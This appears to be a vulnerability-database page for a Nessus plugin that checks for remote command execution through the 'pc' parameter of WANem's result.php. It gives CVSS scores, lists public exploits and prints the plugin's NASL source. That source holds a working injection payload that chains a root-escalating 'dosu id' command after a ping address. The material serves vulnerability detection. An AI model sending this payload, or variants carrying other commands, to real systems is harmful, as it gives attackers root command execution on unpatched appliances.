WANem result.php pc Parameter Remote Command Execution - Nessus

High   Plugin ID: 62737

This page contains detailed information about the WANem result.php pc Parameter Remote Command Execution Nessus plugin including available exploits and PoCs found on GitHub, in Metasploit or Exploit-DB for verifying of this vulnerability.

Table Of Contents
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Plugin Overview

ID: 62737
Name: WANem result.php pc Parameter Remote Command Execution
Filename: wanem_result_command_exec.nasl
Vulnerability Published: 2012-08-12
This Plugin Published: 2012-10-29
Last Modification Time: 2021-01-19
Plugin Version: 1.12
Plugin Type: remote
Plugin Family: CGI abuses
Dependencies: wanem_detect.nasl
Required KB Items [?]: www/wanem
Excluded KB Items: Settings/disable_cgi_scanning

Vulnerability Information

Severity: High
Vulnerability Published: 2012-08-12
Patch Published: N/A
CVE [?]: N/A
CPE [?]: x-cpe:/a:tata:wanem

Synopsis

The remote web server hosts a web application that is affected by a remote command execution vulnerability.

Description

The remote web server hosts a version of WANem that is affected by a remote command execution vulnerability. The result.php script does not properly sanitize the 'pc' parameter. This can allow remote attackers to execute commands on the remote host, including with root privileges if utilizing the dosu binary installed on the appliance.

Solution

There is no known solution. As a workaround, either disable or restrict access to the application.

Public Exploits

Target Network Port(s): 80
Target Asset(s): Services/www
Exploit Available: True (Metasploit Framework, Exploit-DB, D2 Elliot)
Exploit Ease: Exploits are available

Here's the list of publicly known exploits and PoCs for verifying the WANem result.php pc Parameter Remote Command Execution vulnerability:

  1. Metasploit: exploit/linux/http/wanem_exec
    [WAN Emulator v2.3 Command Execution]
  2. Exploit-DB: exploits/linux/remote/21190.rb
    [EDB-21190: WAN Emulator 2.3 - Command Execution (Metasploit)]
  3. D2 Elliot: wanem_2.3_rce.html
    [WANem 2.3 RCE]

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information

CVSS V2 Vector [?]: AV:N/AC:L/Au:N/C:C/I:C/A:C/E:F/RL:U/RC:ND
CVSS Base Score:10.0 (High)
Impact Subscore:10.0
Exploitability Subscore:10.0
CVSS Temporal Score:9.5 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:9.5 (High)
CVSS V3 Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:F/RL:U/RC:X
CVSS Base Score:8.8 (High)
Impact Subscore:5.9
Exploitability Subscore:2.8
CVSS Temporal Score:8.6 (High)
CVSS Environmental Score:NA (None)
Modified Impact Subscore:NA
Overall CVSS Score:8.6 (High)

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Plugin Source

This is the wanem_result_command_exec.nasl nessus plugin source code. This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof. 

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#


include('deprecated_nasl_level.inc');
include('compat.inc');


if (description)
{
  script_id(62737);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2021/01/19");

  script_bugtraq_id(55485);
  script_xref(name:"EDB-ID", value:"21190");

  script_name(english:"WANem result.php pc Parameter Remote Command Execution");
  script_summary(english:"Tries to exploit command execution vulnerability");

  script_set_attribute(
    attribute:"synopsis",
    value:
"The remote web server hosts a web application that is affected by a
remote command execution vulnerability."
  );
  script_set_attribute(
    attribute:"description",
    value:
"The remote web server hosts a version of WANem that is affected by a
remote command execution vulnerability.  The result.php script does not
properly sanitize the 'pc' parameter.  This can allow remote attackers
to execute commands on the remote host, including with root privileges
if utilizing the dosu binary installed on the appliance."
  );
  # https://itsecuritysolutions.org/2012-08-12-WANem-v2.3-multiple-vulnerabilities/
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?60995f52");
  script_set_attribute(
    attribute:"solution",
    value:
"There is no known solution.  As a workaround, either disable or
restrict access to the application."
  );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:F/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:F/RL:U/RC:X");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"d2_elliot_name", value:"WANem 2.3 RCE");
  script_set_attribute(attribute:"exploit_framework_d2_elliot", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'WAN Emulator v2.3 Command Execution');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2012/08/12");
  script_set_attribute(attribute:"plugin_publication_date", value:"2012/10/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:tata:wanem");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2012-2021 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("wanem_detect.nasl");
  script_exclude_keys("Settings/disable_cgi_scanning");
  script_require_ports("Services/www", 80);
  script_require_keys("www/wanem");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");
include("data_protection.inc");

port = get_http_port(default:80);

appname = "WANem";

install = get_install_from_kb(
  appname      : 'wanem', 
  port         : port, 
  exit_on_fail : TRUE
);

dir = install['dir'];
install_url = build_url(port:port, qs:dir);

exploit = dir + '/result.php?pc=127.0.0.1;/UNIONFS/home/perc/dosu%20id';

# the server-side script takes between 10 and 15 seconds to complete
# this is because it runs the 'ping' command
http_set_read_timeout(30);

res = http_send_recv3(method:"GET", 
                      item:exploit,
                      port:port,
                      exit_on_fail:TRUE);

if (
  "uid=0(root)" >< res[2] &&
  "<title>Results of WANalyzer</title>" >< res[2]
)
{
  command_output = NULL;
  item = eregmatch(pattern:"(uid[^<]+)", string: res[2]);
  if (!isnull(item)) command_output = chomp(item[1]);
  
  if (report_verbosity > 0)
  {
    report = '\nNessus was able to exploit the issue to run the \'id\' command using' +
             '\nthe following URL :\n' +
             '\n  ' + build_url(port:port, qs:exploit) + '\n';
  
    if (!isnull(command_output))
      report += '\nHere are the command results :\n\n  ' + data_protection::sanitize_uid(output:command_output) + '\n'; 
    security_hole(port:port, extra:report);
  }
  else security_hole(port);
}
else audit(AUDIT_WEB_APP_NOT_AFFECTED, appname, install_url);

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/wanem_result_command_exec.nasl
  • Windows:
    C:\ProgramData\Tenable\Nessus\nessus\plugins\wanem_result_command_exec.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/wanem_result_command_exec.nasl

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How to Run

Here is how to run the WANem result.php pc Parameter Remote Command Execution as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select CGI abuses plugin family.
  6. On the right side table select WANem result.php pc Parameter Remote Command Execution plugin ID 62737.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl wanem_result_command_exec.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a wanem_result_command_exec.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - wanem_result_command_exec.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state wanem_result_command_exec.nasl -t <IP/HOST>

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References

BID | SecurityFocus Bugtraq ID: See also: Similar and related Nessus plugins:
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Version

This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file wanem_result_command_exec.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

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